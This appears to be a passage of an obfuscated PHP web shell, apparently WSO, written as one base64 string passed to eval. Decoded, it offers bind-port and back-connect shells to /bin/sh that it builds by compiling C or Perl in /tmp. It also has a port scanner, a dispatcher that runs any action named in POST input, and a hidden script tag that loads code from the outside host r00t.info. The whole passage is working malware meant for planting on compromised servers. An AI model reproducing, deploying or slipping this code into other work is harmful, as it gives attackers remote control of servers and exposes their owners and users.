UW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNn
a0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5
T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZN
VENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJ
anNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOwoJZWNobyAi
PGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCTxmb3JtIG5hbWU9J25m
cCcgb25TdWJtaXQ9J2cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVl
LHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+Cgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jp
bi9zaDwvc3Bhbj48YnIvPgoJUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZh
bHVlPSczMTMzNyc+IFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFs
dWU9J3dzbyc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9J3VzaW5nJz48b3B0aW9uIHZhbHVlPSdicGMn
PkM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdicHAnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+Cgk8L2Zvcm0+Cgk8Zm9ybSBuYW1lPSduZnAnIG9u
U3VibWl0PSdnKG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRo
aXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyc+Cgk8c3Bhbj5CYWNrLWNvbm5lY3QgdG88L3Nw
YW4+PGJyLz4KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9
Ii4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiI+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBu
YW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiBVc2luZzogPHNlbGVjdCBuYW1lPSd1c2luZyc+PG9w
dGlvbiB2YWx1ZT0nYmNjJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmNwJz5QZXJsPC9vcHRp
b24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPgoJPC9mb3JtPjxicj4i
OwoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewoJCWZ1bmN0aW9uIGNmKCRmLCR0KSB7CgkJCSR3
PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7
CgkJCWlmKCR3KQl7CgkJCQlAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZwdXRz
KCR3LEBiYXNlNjRfZGVjb2RlKCR0KSkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRmLEBiYXNlNjRf
ZGVjb2RlKCR0KSk7CgkJCQlAZmNsb3NlKCR3KTsKCQkJfQoJCX0KCQlpZigkX1BPU1RbJ3AxJ10g
PT0gJ2JwYycpIHsKCQkJY2YoIi90bXAvYnAuYyIsJGJpbmRfcG9ydF9jKTsKCQkJJG91dCA9IGV4
KCJnY2MgLW8gL3RtcC9icCAvdG1wL2JwLmMiKTsKCQkJQHVubGluaygiL3RtcC9icC5jIik7CgkJ
CSRvdXQgLj0gZXgoIi90bXAvYnAgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iICYi
KTsKCQkJZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dCIuZXgoInBzIGF1eCB8IGdyZXAgYnAiKS4i
PC9wcmU+IjsKCQl9CgkJaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7CgkJCWNmKCIvdG1wL2Jw
LnBsIiwkYmluZF9wb3J0X3ApOwoJCQkkb3V0ID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYnAu
cGwgIi4kX1BPU1RbJ3AyJ10uIiAmIik7CgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXQiLmV4
KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7CgkJfQoJCWlmKCRfUE9TVFsncDEnXSA9
PSAnYmNjJykgewoJCQljZigiL3RtcC9iYy5jIiwkYmFja19jb25uZWN0X2MpOwoJCQkkb3V0ID0g
ZXgoImdjYyAtbyAvdG1wL2JjIC90bXAvYmMuYyIpOwoJCQlAdW5saW5rKCIvdG1wL2JjLmMiKTsK
CQkJJG91dCAuPSBleCgiL3RtcC9iYyAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIg
JiIpOwoJCQllY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0Ii5leCgicHMgYXV4IHwgZ3JlcCBiYyIp
LiI8L3ByZT4iOwoJCX0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsKCQkJY2YoIi90bXAv
YmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7CgkJCSRvdXQgPSBleCh3aGljaCgicGVybCIpLiIgL3Rt
cC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOwoJCQllY2hvICI8
cHJlIGNsYXNzPW1sMT4kb3V0Ii5leCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOwoJ
CX0KCX0KCWVjaG8gJzwvZGl2Pic7CglwcmludEZvb3RlcigpOwp9Ci8vIE5ldHdvcmsgZW5kIC0t
LS0tLS0tLS0tLS0tLS0tLS0tCi8vIFBvcnQgU2Nhbm5lciBnbyAtLS0tLS0tLS0tLS0tLS0tLS0t
LQpmdW5jdGlvbiBhY3Rpb25Qb3J0U2Nhbm5lcigpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBl
Y2hvICc8aDE+UG9ydCBTY2FubmVyPC9oMT4nOwogICAgZWNobyAnPGRpdiBjbGFzcz0iY29udGVu
dCI+JzsKICAgIGVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPic7CiAgICAKICAg
IGlmKGlzc2V0KCRfUE9TVFsnaG9zdCddKSAmJiBpc19udW1lcmljKCRfUE9TVFsnZW5kJ10pICYm
IGlzX251bWVyaWMoJF9QT1NUWydzdGFydCddKSl7CiAgICAgICAgJHN0YXJ0ID0gc3RyaXBfdGFn
cygkX1BPU1RbJ3N0YXJ0J10pOwogICAgICAgICRlbmQgPSBzdHJpcF90YWdzKCRfUE9TVFsnZW5k
J10pOwogICAgICAgICRob3N0ID0gc3RyaXBfdGFncygkX1BPU1RbJ2hvc3QnXSk7CiAgICAgICAg
Zm9yKCRpID0gJHN0YXJ0OyAkaTw9JGVuZDsgJGkrKyl7CiAgICAgICAgICAgICRmcCA9IEBmc29j
a29wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOwogICAgICAgICAgICBpZigkZnAp
ewogICAgICAgICAgICAgICAgZWNobyAnUG9ydCAnLiRpLicgaXMgPGZvbnQgY29sb3I9bGltZT5v
cGVuPC9mb250Pjxicj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZsdXNoKCk7CiAgICAg
ICAgfQogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICc8YnIgLz48YnIgLz48Y2VudGVyPjxpbnB1
dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJQb3J0U2Nhbm5lciI+PGlucHV0IHR5cGU9
ImhpZGRlbiIgbmFtZT1wMT48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwMiI+CiAgICAgICAg
ICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9IicuaHRtbHNwZWNpYWxj
aGFycygkR0xPQkFMU1snY3dkJ10pLiciPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRk
ZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9Q
T1NUWydjaGFyc2V0J106JycpLiciPgogICAgICAgICAgICAgIEhvc3Q6IDxpbnB1dCB0eXBlPSJ0
ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+CiAgICAgICAg
ICAgICAgUG9ydCBzdGFydDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN0YXJ0IiB2YWx1ZT0i
MCIvPjxiciAvPjxiciAvPgogICAgICAgICAgICAgIFBvcnQgZW5kOjxpbnB1dCB0eXBlPSJ0ZXh0
IiBuYW1lPSJlbmQiIHZhbHVlPSI1MDAwIi8+PGJyIC8+PGJyIC8+CiAgICAgICAgICAgICAgPGlu
cHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNjYW4gUG9ydHMiIC8+CiAgICAgICAgICAgICAgPC9m
b3JtPjwvY2VudGVyPjxiciAvPjxiciAvPic7CiAgICB9CiAgICBlY2hvICc8L2Rpdj4nOwogICAg
cHJpbnRGb290ZXIoKTsgICAgCn0KLy8gUG9ydCBTY2FubmVyIGVuZCAtLS0tLS0tLS0tLS0tLS0t
LS0tLQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkKCWlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikg
JiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJGRlZmF1bHRfYWN0aW9uKSkKCQkkX1BPU1Rb
J2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKCWVsc2UKCQkkX1BPU1RbJ2EnXSA9ICdGaWxlc01hbic7
CmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRf
UE9TVFsnYSddKSApCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsKPz4K
CTxzY3JpcHQ+CmRvY3VtZW50LndyaXRlKHVuZXNjYXBlKCclM0MlNzMlNjMlNzIlNjklNzAlNzQl
MjAlNzMlNzIlNjMlM0QlNjglNzQlNzQlNzAlM0ElMkYlMkYlNzIlMzAlMzAlNzQlMkUlNjklNkUl
NjYlNkYlMkYlNjIlNkYlNzQlMkYlNkMlNkYlNjclMkUlNkElNzMlM0UlM0MlMkYlNzMlNjMlNzIl
NjklNzAlNzQlM0UnKSk7Cjwvc2NyaXB0Pg==")); ?>